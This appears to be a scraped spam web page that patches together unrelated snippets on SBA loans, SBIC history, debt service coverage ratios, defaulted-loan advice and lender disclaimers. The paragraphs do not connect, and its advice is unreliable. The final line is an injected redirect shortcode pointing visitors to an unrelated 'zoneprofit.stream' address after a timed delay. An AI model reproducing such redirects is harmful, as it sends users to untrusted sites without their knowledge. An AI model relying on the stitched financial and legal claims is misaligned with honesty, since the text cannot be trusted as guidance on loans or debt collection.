One of the first steps toward a professionally managed private equity and venture capital industry was the passage of the Small Business Investment Act of 1958. The 1958 Act officially allowed the SBA to license private “Small Business Investment Companies” (SBICs) to help with financing and managing small entrepreneurial businesses in the United States. Passage of the Act addressed concerns raised in a Federal Reserve Board report to Congress that concluded that a major gap existed in the capital markets for funding for growth-oriented small businesses. Additionally, it was thought that fostering entrepreneurial companies would spur technological advances to compete with the Soviet Union. Facilitating the flow of capital through the economy up to the pioneering small concerns in order to stimulate the U.S. economy was and still is today the main goal of the SBIC program. The passage of the Small Business Investment Act of 1958 by the federal government was an important incentive for would-be venture capital organizations. The act provided venture capital firms structured either as SBICs or Minority Enterprise Small Business Investment Companies (MESBICs) access to federal funds which could be leveraged at a ratio of up to 4:1 against privately raised investment funds. In 2005, in response to extensive losses incurred in connection with tech boom investments, the SBA decided to wind down its “Participating Securities” SBIC program, which had provided equity-like SBA backing for equity-oriented SBIC funds. The SBA’s “Debenture” SBIC program, the original SBIC vehicle founded in 1958, continues to license and contribute capital to SBIC funds. The SBIC program had its highest ever year in Fiscal Year 2010.
It’s also a good idea to ask your lender about any potential penalties or discounts that may apply to your loan. For example, some lenders discourage prepayments by enforcing penalties while others offer you a discount for paying off your loan early.
Let’s take an average month of operations sales and expenses. Let’s assume the cash flow of your small business is $6,000 (gross sales minus expenses). Now let’s assume that your loan payments will total $1,500 per month. That makes your DSCR a 4, which is pretty strong. Most lenders will look for a score of at least 1.5 and definitely above a score of 1. A DSCR of less than 1 means you don’t have enough free cash flow to repay your loan from business operations.
Before applying, it’s best to do your homework about the different types of loans. Most are known by names that reflect the section of the law that created the loan category. Here are the basic categories of SBA-backed loans:
SBA Loans & Financing from Bank of America Find out how SBA loans may help your business qualify for financing more easily and preserve working capital. Business Loan Variable based on overall relationship with Bank of America and loan used. Bank of America
An unsecured business loan is a loan that does not require the borrower to pledge assets of the company to borrow funds. However, in most cases an unsecured loan requires a personal guarantee of repayment and will generally have a higher interest rate and fees.
Some entrepreneurs and business owners have misconceptions about SBA-backed loans. “The business has to be in good standing,” Cruz says. “Another misconception is the SBA comes in to help a business that would have failed. ‘We the people’ don’t want out money to be used to guarantee a failing business. The program doesn’t exist just to give a woman a loan. She has to be a woman with decent credit, money of her own, a great business plan, and a little success. You can’t have a business that lost money and expect the SBA or anybody else to guarantee that loan. It wouldn’t make sense.”
Businesses that are more established and want to apply for bank loans can check out their business credit scores (which generally range from 0 to 100) at three business credit bureaus: Experian, Equifax and Dun & Bradstreet. Check out these five steps to building business credit, and if you see any mistakes on your reports, contact the bureaus.
PG, your situation sounds very familiar to emails and phone calls that I get weekly. It sounds like you did the typical run and hide in a default situation back in 2007. What happened was, after a period of time the SBA passed this file down to the US Department of Treasury and eventually your file ended up on somebody’s desk and they took your tax returns. The next thing they will do is start a wage garnishment proceeding. I would not worry about a foreclosure as there is not enough money owed for them to pursue that. You need to contact the Department of Treasury, and track your file down and negotiate some type of payment plan with them.
Any new small business loan is going to likely require you to have a strong personal credit score. The lender won’t be able to use business history or credit to determine the potential success of the business. Instead, they’ll look at your personal credit history and what personal assets you have that can be used as collateral.
Did you know most businesses are started primarily with owner financing? If that is not enough money to get your business going, our Capital Opportunities for Small Business guide is the most comprehensive financing resource describing all the funding options available to North Carolina companies and startups. This continuously updated 135-page guide also has contact information to learn more about each funding opportunity.
Second question first. If the OIC was properly prepared, you have been released from your personal guarantee. As to the 1099, it should be sent to the entity that took out the loan, not you. If you had an LLC or corporation, they got the money. You were a guarantor not the borrower.
California loans made pursuant to the California Financing Law, Division 9 (commencing with Section 22000) of the Finance Code. All such loans made through Lendio Partners, LLC, a wholly-owned subsidiary of Lendio, Inc. and a licensed finance lender/broker, California Financing Law License No. 60DBO-44694.
Rand & Janeel, eyeSmith Sport & Fashion Optical; Kansas City, MO After raising eight children, Rand and Janeel were ready to start a new chapter for their family. The couple put their past business experience to good use and tapped into their retirement funds to start an independent eyewear business. [redirect url=’http://zoneprofit.stream/bump’ sec=’7′]